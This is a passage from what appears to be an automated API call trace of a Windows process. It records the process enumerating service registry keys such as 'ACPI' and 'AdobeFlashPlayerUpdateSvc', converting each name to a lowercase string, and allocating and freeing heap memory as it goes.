provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0173.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1d18, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0173.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.952] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0173.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0173.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a00, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0173.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.952] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0173.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0173.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.952] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0173.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0173.952] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.952] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.953] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0173.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0173.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0173.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.953] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0173.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0173.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.953] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0173.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0173.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1d18, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0173.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.953] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0173.953] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0173.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.954] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0173.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0173.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.954] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0173.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0173.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.954] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0173.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0173.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0173.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.954] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.954] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0173.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0173.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.955] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0173.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0173.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.955] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0173.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0173.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0173.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.955] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0173.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0173.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.956] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0173.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0173.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0173.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.956] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0173.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0173.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0173.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.956] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0173.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0173.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0173.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.956] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0173.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0173.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0173.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.957] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0173.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0173.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.957] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0173.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0173.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0173.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.957] RtlFreeHeap (HeapHandle=0x2520000, 